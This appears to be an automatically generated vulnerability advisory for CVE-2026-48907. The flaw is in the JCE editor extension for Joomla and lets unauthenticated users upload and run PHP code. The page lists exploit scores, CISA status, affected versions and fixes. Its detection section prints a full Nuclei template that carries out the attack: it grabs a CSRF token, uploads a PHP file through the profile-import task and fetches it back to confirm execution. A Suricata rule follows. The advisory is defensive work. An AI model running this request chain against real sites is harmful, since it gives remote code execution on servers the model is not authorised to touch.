VULNpocalypse

CVE-2026-48907: Widget Factory Joomla Content Editor Improper Access Control Vulnerability

Advisory generated from the CVE record, CISA, Exploit Observer and VEDAS: what it is, whether it is exploited, who is affected, and how to fix and detect it.

Generated by VEDAS. Scores as of 2026-11-01 19:19 UTC. Rebuilt every few hours from cve-scores, CISA KEV and vedas-signatures. How this works and its limits.

What it is

A vulnerability in the JCE editor extension for Joomla allows the creation of new editor profiles for unauthenticated users, ultimately resulting in PHP code upload and execution.

Description quoted from the CVE record (assigned by Joomla, published 2026-06-05).

Weakness: CWE-284 Improper Access Control

How it can be exploited

Exploitable over the network with low attack complexity with no special attack requirements needing no privileges and no user interaction. Impact: confidentiality high, integrity high, availability high. CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:A/AU:Y/U:Red

CISA assessment (SSVC): CISA assesses exploitation as active. Automatable: yes. Technical impact: total.

On CISA KEV since
2026-06-16
US federal deadline
2026-06-19
Ransomware use
Not known

Public exploit evidence (Exploit Observer)

Also known as: BDU:2026-08425, EDB-52630, EDB-52645, EUVD-2026-34789, GHSA-c3f5-4g7f-qjqj

VEDAS cluster: VEDAS:FRACTALFALCON

Exploit Observer links 31 pieces of public exploit code or detection modules that name this CVE or one of its aliases.

Exploit code and modules (31)

Code that names this CVE. A repository can be a working exploit, a scanner, a fake or malware; read it before running anything.

Research and write-ups (1)

Vulnerability databases and vendor advisories (4)

Catalogue entries, not exploit evidence.

11 more references returned by Exploit Observer did not name this CVE or an alias, so they are left out.

VEDAS data as of 2026-11-01T17:12 UTC; fetched 2026-11-02.

Live scores

EPSS
0.854
very likely to be attacked soon
VEDAS
0.984
strong exploit evidence
On CISA KEV
Yes, since 2026-06-16
Detection rule
Nuclei · Suricata
EPSS (chance of attack)
100.1CVE-2026-48907 EPSS over time2026-082026-11-01
VEDAS (exploit evidence)
100.9CVE-2026-48907 VEDAS over time2026-082026-11-01

Thin horizontal line: the “likely” (EPSS 0.10) or “strong” (VEDAS 0.90) threshold. Shaded “no data” areas are periods when cve-scores did not publish.

Who is affected

ProductAffectedNot affected
joomlacontenteditor.net Joomla Content Editor (JCE) extension for Joomlaversion 1.0.0-2.9.99.4Not stated

Version ranges exactly as the CVE record states them. “Before X” means X is the first fixed version.

Exploit Observer also maps it to: widget_factory_limited joomla_content_editor, widgetfactorylimited jce.

How to fix it

CISA required action: Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset’s internet exposure and ensuring adherence to BOD 26-04 patching guidelines.

Vendor guidance:

How to detect it

Nuclei template (active check)

Joomla - Remote Code Execution

A vulnerability in the JCE editor extension for Joomla allows the creation of new editor profiles for unauthenticated users, ultimately resulting in PHP code upload and execution.

Name and description quoted from the template, written by VEDAS.

The template sends 3 requests (GET /, POST /index.php?option=com_jce, GET /tmp/{{tmp_file}}); it decides using dsl, regex, status, word matchers. Severity in the template: critical. Marked as not yet verified against a live vulnerable target.

Run it against a host you own or are authorised to test:

bash
nuclei -u https://your-host -t CVE-2026-48907.yaml
Show the template (93 lines)
yaml
id: CVE-2026-48907
info:
  name: "Joomla - Remote Code Execution"
  author: vedas-arpsyndicate
  severity: critical
  description: |
    A vulnerability in the JCE editor extension for Joomla allows the creation of new editor profiles for
    unauthenticated users, ultimately resulting in PHP code upload and execution.
  reference:
    - https://www.exploit.observer/?keyword=CVE-2026-48907&match=exact
    - https://subdomain.center/?engine=ammonites&keyword=joomla&match=exact
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 10.0
    cve-id: CVE-2026-48907
    cwe-id: CWE-284
  metadata:
    verified: false
  tags: cve,cve2026,joomla,jce,rce,unauth,intrusive,unauth,vkev,kev
variables:
  payload: "<?= 45*69 ?>"
  tmp_file: "{{'worxag-' + md5(Hostname + 'phuJ4OoP')}}.xml.php"

flow: http(1) && http(2) && http(3)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - "status_code == 200"
          - 'contains(body, "Joomla")'
          - 'contains(body, "csrf.token")'
        condition: and
        internal: true

    extractors:
      - type: regex
        name: csrf_token
        part: body
        group: 1
        internal: true
        regex:
          - '"csrf\.token"\s*:\s*"([a-f0-9]{32})"'

  - raw:
      - |
        POST /index.php?option=com_jce HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=66dea244639dd05378afdad58c2c9c1d

        --66dea244639dd05378afdad58c2c9c1d
        Content-Disposition: form-data; name="task"

        profiles.import
        --66dea244639dd05378afdad58c2c9c1d
        Content-Disposition: form-data; name="{{csrf_token}}"

        1
        --66dea244639dd05378afdad58c2c9c1d
        Content-Disposition: form-data; name="profile_file"; filename="{{tmp_file}}"
        Content-Type: application/xml

        {{payload}}
        --66dea244639dd05378afdad58c2c9c1d--

    matchers:
      - type: dsl
        dsl:
          - "status_code == 200"
          - 'contains(body, "success")'
        condition: and
        internal: true

  - raw:
      - |
        GET /tmp/{{tmp_file}} HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "3105"

      - type: status
        status:
          - 200

CVE-2026-48907.yaml on GitHub

Suricata rules (network detection)

1 rule that alert on traffic matching this exploit: VEDAS CVE-2026-48907 Joomla - Remote Code Execution. Add them to your Suricata rule set and reload.

Show the rules
suricata
alert http $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"VEDAS CVE-2026-48907 Joomla - Remote Code Execution"; flow:established,to_server; http.uri; content:"index.php"; nocase; fast_pattern; classtype:web-application-attack; reference:cve,CVE-2026-48907; reference:url,https://www.exploit.observer/?keyword=CVE-2026-48907&match=exact; reference:url,https://subdomain.center/?engine=ammonites&keyword=joomla&match=exact; sid:1011608; rev:1;)

CVE-2026-48907.rules on GitHub

References

Vendor advisories and patches

Government sources

Other references

Other databases

Where this comes from

This advisory is generated automatically by VEDAS from: CVE.org record, CISA KEV, cve-scores (EPSS and VEDAS), Exploit Observer, vedas-signatures. Text in quotes is reproduced from the source; everything else is a fixed template filled with source fields. Nothing here is written by a language model. Check the vendor advisory before acting, and read how VEDAS and Exploit Observer work, and their limits.